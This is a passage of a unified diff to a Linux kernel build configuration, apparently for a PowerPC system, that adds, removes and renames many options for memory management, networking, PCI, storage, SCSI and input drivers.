+CONFIG_ARCH_WANT_IRQS_OFF_ACTIVATE_MM=y +CONFIG_MMU_LAZY_TLB_SHOOTDOWN=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_ARCH_WEAK_RELEASE_ACQUIRE=y CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y +CONFIG_HAVE_ARCH_SECCOMP=y CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +# CONFIG_SECCOMP is not set CONFIG_HAVE_STACKPROTECTOR=y -CONFIG_CC_HAS_STACKPROTECTOR_NONE=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_LTO_NONE=y +CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING=y CONFIG_ARCH_HAS_SCALED_CPUTIME=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y +CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y +CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y -CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_ARCH_MMAP_RND_BITS=14 CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y CONFIG_ARCH_MMAP_RND_COMPAT_BITS=7 -CONFIG_HAVE_COPY_THREAD_TLS=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_ARCH_WANT_DEFAULT_TOPDOWN_MMAP_LAYOUT=y CONFIG_HAVE_RELIABLE_STACKTRACE=y CONFIG_HAVE_ARCH_NVRAM_OPS=y CONFIG_CLONE_BACKWARDS=y CONFIG_OLD_SIGSUSPEND=y CONFIG_COMPAT_OLD_SIGACTION=y CONFIG_COMPAT_32BIT_TIME=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_OPTIONAL_KERNEL_RWX=y +CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT=y CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y +CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y +CONFIG_STRICT_MODULE_RWX=y CONFIG_ARCH_HAS_PHYS_TO_DMA=y -CONFIG_ARCH_USE_MEMREMAP_PROT=y # CONFIG_LOCK_EVENT_COUNTS is not set +CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y # # GCOV-based kernel profiling @@ -517,19 +540,21 @@ CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling -CONFIG_PLUGIN_HOSTCC="" CONFIG_HAVE_GCC_PLUGINS=y CONFIG_GCC_PLUGINS=y # CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +CONFIG_FUNCTION_ALIGNMENT=0 # end of General architecture-dependent options CONFIG_RT_MUTEXES=y CONFIG_BASE_SMALL=0 CONFIG_MODULE_SIG_FORMAT=y CONFIG_MODULES=y +# CONFIG_MODULE_DEBUG is not set # CONFIG_MODULE_FORCE_LOAD is not set CONFIG_MODULE_UNLOAD=y # CONFIG_MODULE_FORCE_UNLOAD is not set +# CONFIG_MODULE_UNLOAD_TAINT_TRACKING is not set # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set CONFIG_MODULE_SIG=y @@ -541,21 +566,25 @@ CONFIG_MODULE_SIG_ALL=y # CONFIG_MODULE_SIG_SHA384 is not set CONFIG_MODULE_SIG_SHA512=y CONFIG_MODULE_SIG_HASH="sha512" -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" # CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_CGROUP_PUNT_BIO=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set CONFIG_BLK_DEBUG_FS=y # CONFIG_BLK_SED_OPAL is not set +# CONFIG_BLK_INLINE_ENCRYPTION is not set # # Partition Types @@ -582,9 +611,10 @@ CONFIG_EFI_PARTITION=y # CONFIG_CMDLINE_PARTITION is not set # end of Partition Types -CONFIG_BLOCK_COMPAT=y CONFIG_BLK_MQ_PCI=y CONFIG_BLK_MQ_VIRTIO=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -604,8 +634,11 @@ CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y CONFIG_LOCK_SPIN_ON_OWNER=y +CONFIG_ARCH_USE_QUEUED_RWLOCKS=y +CONFIG_QUEUED_RWLOCKS=y CONFIG_ARCH_HAS_MMIOWB=y CONFIG_MMIOWB=y +CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y # # Executable file formats @@ -622,20 +655,42 @@ CONFIG_COREDUMP=y # # Memory Management options # +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB_DEPRECATED is not set +CONFIG_SLUB=y +# CONFIG_SLUB_TINY is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +CONFIG_SLAB_FREELIST_HARDENED=y +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# CONFIG_RANDOM_KMALLOC_CACHES is not set +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SELECT_MEMORY_MODEL=y CONFIG_SPARSEMEM_MANUAL=y CONFIG_SPARSEMEM=y -CONFIG_NEED_MULTIPLE_NODES=y -CONFIG_HAVE_MEMORY_PRESENT=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y -CONFIG_HAVE_MEMBLOCK_NODE_MAP=y +CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y CONFIG_ARCH_KEEP_MEMBLOCK=y +CONFIG_EXCLUSIVE_SYSTEM_RAM=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y +CONFIG_ARCH_ENABLE_MEMORY_HOTREMOVE=y # CONFIG_MEMORY_HOTPLUG is not set +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set +# CONFIG_PAGE_REPORTING is not set # CONFIG_MIGRATION is not set CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_MMU_NOTIFIER=y @@ -644,20 +699,36 @@ CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set # CONFIG_TRANSPARENT_HUGEPAGE is not set -# CONFIG_CLEANCACHE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_USE_PERCPU_NUMA_NODE_ID=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y CONFIG_ARCH_HAS_PKEYS=y +CONFIG_VM_EVENT_COUNTERS=y # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set +# CONFIG_GUP_TEST is not set +# CONFIG_DMAPOOL_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_MEMFD_CREATE is not set +# CONFIG_ANON_VMA_NAME is not set +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set +CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y +CONFIG_PER_VMA_LOCK=y +CONFIG_LOCK_MM_AND_FIND_VMA=y + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -674,6 +745,7 @@ CONFIG_AF_UNIX_OOB=y # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set # CONFIG_NET_KEY is not set +CONFIG_NET_HANDSHAKE=y CONFIG_INET=y CONFIG_IP_MULTICAST=y # CONFIG_IP_ADVANCED_ROUTER is not set @@ -684,11 +756,13 @@ CONFIG_NET_IP_TUNNEL=y # CONFIG_IP_MROUTE is not set CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set +CONFIG_NET_UDP_TUNNEL=y # CONFIG_NET_FOU is not set # CONFIG_NET_FOU_IP_TUNNELS is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 CONFIG_INET_TUNNEL=y CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y @@ -701,6 +775,7 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_TCP_MD5SIG is not set # CONFIG_IPV6 is not set # CONFIG_NETLABEL is not set +# CONFIG_MPTCP is not set # CONFIG_NETWORK_SECMARK is not set # CONFIG_NETWORK_PHY_TIMESTAMPING is not set # CONFIG_NETFILTER is not set @@ -713,7 +788,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -732,8 +806,10 @@ CONFIG_DNS_RESOLVER=y # CONFIG_HSR is not set # CONFIG_NET_SWITCHDEV is not set # CONFIG_NET_L3_MASTER_DEV is not set +# CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set CONFIG_PCPU_DEV_REFCNT=y +CONFIG_MAX_SKB_FRAGS=17 CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_SOCK_RX_QUEUE_MAPPING=y @@ -754,8 +830,10 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set CONFIG_AF_RXRPC=y # CONFIG_AF_RXRPC_INJECT_LOSS is not set +# CONFIG_AF_RXRPC_INJECT_RX_DELAY is not set # CONFIG_AF_RXRPC_DEBUG is not set # CONFIG_RXKAD is not set +# CONFIG_RXPERF is not set # CONFIG_AF_KCM is not set # CONFIG_MCTP is not set # CONFIG_WIRELESS is not set @@ -770,7 +848,7 @@ CONFIG_AF_RXRPC=y CONFIG_DST_CACHE=y CONFIG_GRO_CELLS=y # CONFIG_FAILOVER is not set -CONFIG_HAVE_EBPF_JIT=y +CONFIG_ETHTOOL_NETLINK=y # # Device Drivers @@ -788,13 +866,21 @@ CONFIG_PCIEASPM_DEFAULT=y # CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y -CONFIG_PCI_MSI_IRQ_DOMAIN=y +CONFIG_PCI_MSI_ARCH_FALLBACKS=y CONFIG_PCI_QUIRKS=y # CONFIG_PCI_DEBUG is not set # CONFIG_PCI_STUB is not set # CONFIG_PCI_IOV is not set # CONFIG_PCI_PRI is not set # CONFIG_PCI_PASID is not set +# CONFIG_PCI_DYNAMIC_OF_NODES is not set +# CONFIG_PCIE_BUS_TUNE_OFF is not set +CONFIG_PCIE_BUS_DEFAULT=y +# CONFIG_PCIE_BUS_SAFE is not set +# CONFIG_PCIE_BUS_PERFORMANCE is not set +# CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -802,20 +888,27 @@ CONFIG_PCI_QUIRKS=y # # CONFIG_PCI_FTPCI100 is not set # CONFIG_PCI_HOST_GENERIC is not set +# CONFIG_PCIE_MICROCHIP_HOST is not set # CONFIG_PCIE_XILINX is not set # -# DesignWare PCI Core Support +# Cadence-based PCIe controllers +# +# CONFIG_PCIE_CADENCE_PLAT_HOST is not set +# CONFIG_PCI_J721E_HOST is not set +# end of Cadence-based PCIe controllers + +# +# DesignWare-based PCIe controllers # -# CONFIG_PCIE_DW_PLAT_HOST is not set # CONFIG_PCI_MESON is not set -# end of DesignWare PCI Core Support +# CONFIG_PCIE_DW_PLAT_HOST is not set +# end of DesignWare-based PCIe controllers # -# Cadence PCIe controllers support +# Mobiveil-based PCIe controllers # -# CONFIG_PCIE_CADENCE_PLAT_HOST is not set -# end of Cadence PCIe controllers support +# end of Mobiveil-based PCIe controllers # end of PCI controller drivers # @@ -840,6 +933,7 @@ CONFIG_PCI_QUIRKS=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set CONFIG_STANDALONE=y CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -860,18 +954,48 @@ CONFIG_ALLOW_DEV_COREDUMP=y # CONFIG_TEST_ASYNC_DRIVER_PROBE is not set CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_GENERIC_CPU_VULNERABILITIES=y -CONFIG_REGMAP=y -CONFIG_REGMAP_I2C=y CONFIG_DMA_SHARED_BUFFER=y # CONFIG_DMA_FENCE_TRACE is not set +# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set # end of Generic Driver Options # # Bus devices # +# CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices +# +# Cache Drivers +# +# end of Cache Drivers + # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_GOOGLE_FIRMWARE=y +# CONFIG_GOOGLE_CBMEM is not set +CONFIG_GOOGLE_COREBOOT_TABLE=y +CONFIG_GOOGLE_MEMCONSOLE=y +CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y +# CONFIG_GOOGLE_VPD is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set CONFIG_MTD=y # CONFIG_MTD_TESTS is not set @@ -890,6 +1014,10 @@ CONFIG_MTD_OF_PARTS=y # CONFIG_MTD_BLKDEVS=y CONFIG_MTD_BLOCK=y + +# +# Note that in some cases UBI block is preferred. See MTD_UBI_BLOCK. +# # CONFIG_FTL is not set # CONFIG_NFTL is not set # CONFIG_INFTL is not set @@ -938,9 +1066,21 @@ CONFIG_MTD_POWERNV_FLASH=y # CONFIG_MTD_DOCG3 is not set # end of Self-contained MTD device drivers +# +# NAND +# # CONFIG_MTD_ONENAND is not set # CONFIG_MTD_RAW_NAND is not set +# +# ECC engine support +# +# CONFIG_MTD_NAND_ECC_SW_HAMMING is not set +# CONFIG_MTD_NAND_ECC_SW_BCH is not set +# CONFIG_MTD_NAND_ECC_MXIC is not set +# end of ECC engine support +# end of NAND + # # LPDDR & LPDDR2 PCM memory drivers # @@ -966,14 +1106,10 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -981,7 +1117,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_ATA_OVER_ETH is not set # CONFIG_VIRTIO_BLK is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -989,9 +1125,11 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y # CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_HWMON is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -1013,9 +1151,11 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set +# CONFIG_OPEN_DICE is not set +# CONFIG_VCPU_STALL_DETECTOR is not set # CONFIG_C2PORT is not set # @@ -1038,32 +1178,23 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_SENSORS_LIS3_I2C is not set # CONFIG_ALTERA_STAPL is not set - -# -# Intel MIC & related support -# -# CONFIG_VOP_BUS is not set -# end of Intel MIC & related support - # CONFIG_GENWQE is not set # CONFIG_ECHO is not set # CONFIG_CXL is not set -CONFIG_OCXL_BASE=y -CONFIG_OCXL=m +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set -# CONFIG_HABANA_AI is not set +# CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y CONFIG_SCSI_NETLINK=y @@ -1075,7 +1206,6 @@ CONFIG_SCSI_PROC_FS=y CONFIG_BLK_DEV_SD=y CONFIG_CHR_DEV_ST=y CONFIG_BLK_DEV_SR=y -CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_CHR_DEV_SG=y CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set @@ -1100,7 +1230,6 @@ CONFIG_SCSI_LOWLEVEL=y # CONFIG_SCSI_CXGB3_ISCSI is not set # CONFIG_SCSI_BNX2_ISCSI is not set # CONFIG_BE2ISCSI is not set -CONFIG_CXLFLASH=m # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_HPSA is not set # CONFIG_SCSI_3W_9XXX is not set @@ -1121,16 +1250,16 @@ CONFIG_MEGARAID_NEWGEN=y # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set # CONFIG_SCSI_MYRS is not set # CONFIG_LIBFC is not set # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set @@ -1158,7 +1287,9 @@ CONFIG_SCSI_DH=y # end of SCSI device support CONFIG_ATA=y +CONFIG_SATA_HOST=y CONFIG_ATA_VERBOSE_ERROR=y +CONFIG_ATA_FORCE=y CONFIG_SATA_PMP=y # @@ -1167,8 +1298,8 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_AHCI_CEVA is not set -# CONFIG_AHCI_QORIQ is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1240,7 +1371,7 @@ CONFIG_ATA_BMDMA=y # CONFIG_PATA_MPIIX is not set # CONFIG_PATA_NS87410 is not set # CONFIG_PATA_OPTI is not set -# CONFIG_PATA_PLATFORM is not set +# CONFIG_PATA_OF_PLATFORM is not set # CONFIG_PATA_RZ1000 is not set # @@ -1250,6 +1381,7 @@ CONFIG_ATA_BMDMA=y # CONFIG_PATA_LEGACY is not set CONFIG_MD=y # CONFIG_BLK_DEV_MD is not set +CONFIG_MD_BITMAP_FILE=y # CONFIG_BCACHE is not set CONFIG_BLK_DEV_DM_BUILTIN=y CONFIG_BLK_DEV_DM=y @@ -1264,6 +1396,7 @@ CONFIG_DM_SNAPSHOT=y CONFIG_DM_THIN_PROVISIONING=y # CONFIG_DM_CACHE is not set # CONFIG_DM_WRITECACHE is not set +# CONFIG_DM_EBS is not set # CONFIG_DM_ERA is not set # CONFIG_DM_CLONE is not set # CONFIG_DM_MIRROR is not set @@ -1293,16 +1426,15 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set # CONFIG_NETDEVICES is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1316,8 +1448,20 @@ CONFIG_INPUT_EVDEV=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1050 is not set +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_STOWAWAY is not set @@ -1325,6 +1469,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_OMAP4 is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_CAP11XX is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y CONFIG_MOUSE_PS2_ALPS=y @@ -1342,19 +1487,23 @@ CONFIG_MOUSE_PS2_SMBUS=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_APPLETOUCH is not set # CONFIG_MOUSE_BCM5974 is not set +# CONFIG_MOUSE_CYAPA is not set +# CONFIG_MOUSE_ELAN_I2C is not set # CONFIG_MOUSE_VSXXXAA is not set +# CONFIG_MOUSE_SYNAPTICS_I2C is not set # CONFIG_MOUSE_SYNAPTICS_USB is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set CONFIG_INPUT_TOUCHSCREEN=y -CONFIG_TOUCHSCREEN_PROPERTIES=y # CONFIG_TOUCHSCREEN_AD7879 is not set # CONFIG_TOUCHSCREEN_AR1021_I2C is not set # CONFIG_TOUCHSCREEN_ATMEL_MXT is not set # CONFIG_TOUCHSCREEN_BU21013 is not set # CONFIG_TOUCHSCREEN_BU21029 is not set +# CONFIG_TOUCHSCREEN_CY8CTMA140 is not set # CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set # CONFIG_TOUCHSCREEN_CYTTSP4_CORE is not set +# CONFIG_TOUCHSCREEN_CYTTSP5 is not set # CONFIG_TOUCHSCREEN_DYNAPRO is not set # CONFIG_TOUCHSCREEN_HAMPSHIRE is not set # CONFIG_TOUCHSCREEN_EETI is not set @@ -1363,7 +1512,10 @@ CONFIG_TOUCHSCREEN_PROPERTIES=y # CONFIG_TOUCHSCREEN_EXC3000 is not set # CONFIG_TOUCHSCREEN_FUJITSU is not set # CONFIG_TOUCHSCREEN_HIDEEP is not set +# CONFIG_TOUCHSCREEN_HYCON_HY46XX is not set +# CONFIG_TOUCHSCREEN_HYNITRON_CSTXXX is not set # CONFIG_TOUCHSCREEN_ILI210X is not set +# CONFIG_TOUCHSCREEN_ILITEK is not set # CONFIG_TOUCHSCREEN_S6SY761 is not set # CONFIG_TOUCHSCREEN_GUNZE is not set # CONFIG_TOUCHSCREEN_EKTF2127 is not set @@ -1376,8 +1528,9 @@ CONFIG_TOUCHSCREEN_PROPERTIES=y # CONFIG_TOUCHSCREEN_MMS114 is not set # CONFIG_TOUCHSCREEN_MELFAS_MIP4 is not set # CONFIG_TOUCHSCREEN_MTOUCH is not set +# CONFIG_TOUCHSCREEN_NOVATEK_NVT_TS is not set +# CONFIG_TOUCHSCREEN_IMAGIS is not set # CONFIG_TOUCHSCREEN_INEXIO is not set -# CONFIG_TOUCHSCREEN_MK712 is not set # CONFIG_TOUCHSCREEN_PENMOUNT is not set # CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set # CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set @@ -1396,12 +1549,14 @@ CONFIG_TOUCHSCREEN_PROPERTIES=y # CONFIG_TOUCHSCREEN_ZET6223 is not set # CONFIG_TOUCHSCREEN_ROHM_BU21023 is not set # CONFIG_TOUCHSCREEN_IQS5XX is not set +# CONFIG_TOUCHSCREEN_IQS7211 is not set +# CONFIG_TOUCHSCREEN_ZINITIX is not set +# CONFIG_TOUCHSCREEN_HIMAX_HX83112B is not set CONFIG_INPUT_MISC=y # CONFIG_INPUT_AD714X is not set # CONFIG_INPUT_ATMEL_CAPTOUCH is not set # CONFIG_INPUT_BMA150 is not set # CONFIG_INPUT_E3X0_BUTTON is not set -# CONFIG_INPUT_MSM_VIBRATOR is not set # CONFIG_INPUT_MMA8450 is not set # CONFIG_INPUT_ATI_REMOTE2 is not set # CONFIG_INPUT_KEYSPAN_REMOTE is not set @@ -1411,7 +1566,11 @@ CONFIG_INPUT_MISC=y # CONFIG_INPUT_CM109 is not set # CONFIG_INPUT_UINPUT is not set # CONFIG_INPUT_PCF8574 is not set +# CONFIG_INPUT_DA7280_HAPTICS is not set # CONFIG_INPUT_ADXL34X is not set +# CONFIG_INPUT_IQS269A is not set +# CONFIG_INPUT_IQS626A is not set +# CONFIG_INPUT_IQS7222 is not set # CONFIG_INPUT_CMA3000 is not set # CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set # CONFIG_INPUT_DRV2665_HAPTICS is not set @@ -1450,15 +1609,8 @@ CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y CONFIG_LEGACY_PTYS=y CONFIG_LEGACY_PTY_COUNT=256 -# CONFIG_SERIAL_NONSTANDARD is not set -# CONFIG_NOZOMI is not set -# CONFIG_N_GSM is not set -# CONFIG_TRACE_SINK is not set -# CONFIG_PPC_EPAPR_HV_BYTECHAN is not set -# CONFIG_NULL_TTY is not set 